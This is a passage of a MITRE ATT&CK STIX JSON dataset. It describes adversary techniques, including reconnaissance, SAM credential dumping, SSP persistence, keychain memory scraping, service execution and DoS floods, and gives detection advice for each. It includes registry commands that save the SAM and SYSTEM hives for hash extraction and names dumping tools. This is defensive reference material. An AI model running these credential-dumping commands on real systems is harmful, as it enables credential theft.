                    "url": "https://attack.mitre.org/techniques/T1593"
                },
                {
                    "source_name": "Cyware Social Media",
                    "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e",
                    "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."
                },
                {
                    "source_name": "SecurityTrails Google Hacking",
                    "url": "https://securitytrails.com/blog/google-hacking-techniques",
                    "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."
                },
                {
                    "source_name": "ExploitDB GoogleHacking",
                    "url": "https://www.exploit-db.com/google-hacking-database",
                    "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Search Open Websites/Domains",
            "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:52:41.104Z",
            "created": "2020-10-02T16:48:04.509Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "created": "2020-10-02T16:51:50.306Z",
            "modified": "2021-04-15T03:53:33.023Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
            "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "name": "Search Victim-Owned Websites",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1594",
                    "url": "https://attack.mitre.org/techniques/T1594"
                },
                {
                    "source_name": "Comparitech Leak",
                    "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/",
                    "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020."
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.002",
                    "url": "https://attack.mitre.org/techniques/T1003/002"
                },
                {
                    "url": "https://github.com/Neohapsis/creddump7",
                    "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
                    "source_name": "GitHub Creddump7"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Security Account Manager",
            "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
            "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-25T15:17:30.640Z",
            "created": "2020-02-11T18:42:07.281Z",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Access",
                "File: File Access"
            ],
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
            "name": "Security Software Discovery",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1063",
                    "external_id": "T1063"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-21T21:17:03.347Z",
            "created": "2017-05-31T21:30:51.330Z"
        },
        {
            "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)",
            "name": "Security Software Discovery",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1518.001",
                    "url": "https://attack.mitre.org/techniques/T1518/001"
                },
                {
                    "external_id": "CAPEC-581",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/581.html"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "url": "https://expel.io/blog/finding-evil-in-aws/",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-29T16:05:00.198Z",
            "created": "2020-02-21T21:16:18.066Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.2",
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "Firewall: Firewall Metadata",
                "Firewall: Firewall Enumeration",
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ]
        },
        {
            "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
            "name": "Security Support Provider",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1101",
                    "url": "https://attack.mitre.org/techniques/T1101"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T17:35:47.598Z",
            "created": "2017-05-31T21:31:13.447Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.005",
                    "url": "https://attack.mitre.org/techniques/T1547/005"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "source_name": "Microsoft Configure LSA"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Security Support Provider",
            "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
            "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-25T15:42:48.910Z",
            "created": "2020-01-24T17:16:11.806Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "name": "Securityd Memory",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1167",
                    "url": "https://attack.mitre.org/techniques/T1167"
                },
                {
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "source_name": "OS X Keychain"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-12T18:56:59.153Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555.002",
                    "url": "https://attack.mitre.org/techniques/T1555/002"
                },
                {
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "source_name": "OS X Keychain"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "source_name": "External to DA, the OS X Way"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Securityd Memory",
            "description": "An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
            "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-02-17T13:16:53.850Z",
            "created": "2020-02-12T18:56:31.051Z",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Access"
            ],
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583.004",
                    "url": "https://attack.mitre.org/techniques/T1583/004"
                },
                {
                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
                    "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Server",
            "description": "Adversaries may buy, lease, or rent physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
            "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:51:18.167Z",
            "created": "2020-10-01T00:48:09.578Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584.004",
                    "url": "https://attack.mitre.org/techniques/T1584/004"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Server",
            "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
            "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:03:22.184Z",
            "created": "2020-10-01T00:56:25.135Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb",
            "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.",
            "name": "Server Software Component",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1505",
                    "url": "https://attack.mitre.org/techniques/T1505"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "source_name": "US-CERT Alert TA15-314A Web Shells"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-09-16T19:34:19.961Z",
            "created": "2019-06-28T17:52:07.296Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content"
            ],
            "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) "
        },
        {
            "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
            "name": "Service Execution",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1035",
                    "external_id": "T1035"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-10T18:34:39.665Z",
            "created": "2017-05-31T21:30:36.550Z"
        },
        {
            "created": "2020-03-10T18:33:36.159Z",
            "modified": "2020-03-28T18:52:02.384Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.",
            "name": "Service Execution",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1569.002",
                    "url": "https://attack.mitre.org/techniques/T1569/002"
                },
                {
                    "source_name": "Microsoft Service Control Manager",
                    "url": "https://docs.microsoft.com/windows/win32/services/service-control-manager",
                    "description": "Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx",
                    "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.",
                    "source_name": "Russinovich Sysinternals"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Service: Service Creation",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_detection": "Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",
            "x_mitre_remote_support": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1499.002",
                    "url": "https://attack.mitre.org/techniques/T1499/002"
                },
                {
                    "external_id": "CAPEC-488",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/488.html"
                },
                {
                    "external_id": "CAPEC-489",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/489.html"
                },
                {
                    "external_id": "CAPEC-528",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/528.html"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Cloudflare HTTPflood",
                    "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/",
                    "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Arbor SSLDoS April 2012",
                    "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new",
                    "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Service Exhaustion Flood",
            "description": "Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",
            "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-03-29T16:11:12.815Z",
            "created": "2020-02-20T15:31:43.613Z",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
